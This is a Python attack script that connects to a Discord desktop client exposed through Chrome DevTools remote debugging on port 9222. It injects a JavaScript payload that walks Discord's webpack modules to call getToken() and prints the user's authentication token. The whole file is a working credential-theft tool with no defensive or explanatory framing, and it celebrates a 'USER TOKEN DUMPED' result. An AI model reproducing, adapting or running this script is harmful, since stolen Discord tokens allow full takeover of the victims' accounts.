import socket
import json
import urllib.request
import struct
import base64
import random
import sys
import time

# --- Raw WebSocket Implementation (No pip install required) ---
class SimpleWS:
    def __init__(self, url):
        self.url = url.replace("ws://", "")
        self.host, self.path = self.url.split("/", 1)
        self.path = "/" + self.path
        self.port = 9222
        self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

    def connect(self):
        # Clean host (remove port if present for socket connect)
        connect_host = self.host.split(":")[0]
        # But keep full host:port for Host header
        header_host = self.host 
        
        print(f"[*] Connecting to {connect_host}:{self.port}...")
        self.sock.connect((connect_host, int(self.port)))
        
        # Handshake
        key = base64.b64encode(random.randbytes(16)).decode()
        req = (
            f"GET {self.path} HTTP/1.1\r\n"
            f"Host: {header_host}\r\n"
            "Upgrade: websocket\r\n"
            "Connection: Upgrade\r\n"
            f"Sec-WebSocket-Key: {key}\r\n"
            "Sec-WebSocket-Version: 13\r\n\r\n"
        )
        self.sock.send(req.encode())
        resp = self.sock.recv(4096)
        if b"101 Switching Protocols" not in resp:
            raise Exception("Handshake failed")
        print("[+] WebSocket Handshake Complete")

    def send_json(self, data):
        msg = json.dumps(data)
        # Frame construction (Text, Masked)
        # Fin=1, Opcode=1 (Text)
        frame = bytearray([0x81])
        length = len(msg)
        
        if length < 126:
            frame.append(0x80 | length) # Masked
        elif length < 65536:
            frame.append(0x80 | 126)
            frame.extend(struct.pack("!H", length))
        else:
            frame.append(0x80 | 127)
            frame.extend(struct.pack("!Q", length))
            
        mask = random.randbytes(4)
        frame.extend(mask)
        
        masked_payload = bytearray()
        for i in range(length):
            masked_payload.append(ord(msg[i]) ^ mask[i % 4])
            
        frame.extend(masked_payload)
        self.sock.send(frame)

    def recv_json(self):
        # Very basic parser (assumes unfragmented, small frames)
        head = self.sock.recv(2)
        if not head: return None
        length = head[1] & 0x7F
        
        if length == 126:
            length = struct.unpack("!H", self.sock.recv(2))[0]
        elif length == 127:
            length = struct.unpack("!Q", self.sock.recv(8))[0]
            
        payload = self.sock.recv(length)
        # Server-to-client is rarely masked, but standard says check mask bit if needed.
        # Chrome DevTools output is usually plain text payload.
        try:
            return json.loads(payload.decode(errors='ignore'))
        except:
            return None

# --- Payload ---

def get_debug_url():
    try:
        resp = urllib.request.urlopen("http://localhost:9222/json")
        pages = json.loads(resp.read())
        for p in pages:
            # Target the main app window (usually titled Discord or containing discord.com)
            if "discord.com" in p.get("url", "") or "Discord" in p.get("title", ""):
                return p.get("webSocketDebuggerUrl")
    except:
        return None
    return None

def main():
    ws_url = get_debug_url()
    if not ws_url:
        print("[-] Could not find Discord Debug URL. Is Discord running with --remote-debugging-port=9222?")
        sys.exit(1)
        
    print(f"[+] Target Identified: {ws_url}")
    
    ws = SimpleWS(ws_url)
    ws.connect()
    
    # Payload: Webpack Module Walker to find getToken()
    # This is the standard "Discord Console Hack" payload adapted for automated execution.
    js_payload = """
    (function() {
        let webpackChunk = window.webpackChunkdiscord_app;
        if (!webpackChunk) return "Webpack Not Loaded";
        
        let modules = [];
        webpackChunk.push([['Antigravity'], {}, e => {
            for (let c in e.c) modules.push(e.c[c]);
        }]);
        
        // Find the module with getToken
        let tokenModule = modules.find(m => m?.exports?.default?.getToken !== undefined);
        if (tokenModule) {
            return "TOKEN_FOUND: " + tokenModule.exports.default.getToken();
        }
        return "Token Module Not Found";
    })()
    """
    
    cmd = {
        "id": 1,
        "method": "Runtime.evaluate",
        "params": {
            "expression": js_payload,
            "returnByValue": True
        }
    }
    
    print("[*] Sending Token Extraction Payload...")
    ws.send_json(cmd)
    
    # Wait for response
    for _ in range(5):
        resp = ws.recv_json()
        if resp and resp.get("id") == 1:
            result = resp.get("result", {}).get("result", {}).get("value", "")
            if "TOKEN_FOUND" in result:
                print("\n" + "="*40)
                print("🔥 CRITICAL SUCCESS: USER TOKEN DUMPED 🔥")
                print("="*40)
                print(result.replace("TOKEN_FOUND: ", "").strip())
                print("="*40 + "\n")
                sys.exit(0)
            else:
                print(f"[-] JS Execution Result: {result}")
                sys.exit(1)
            
    print("[-] Timeout waiting for response")

if __name__ == "__main__":
    main()
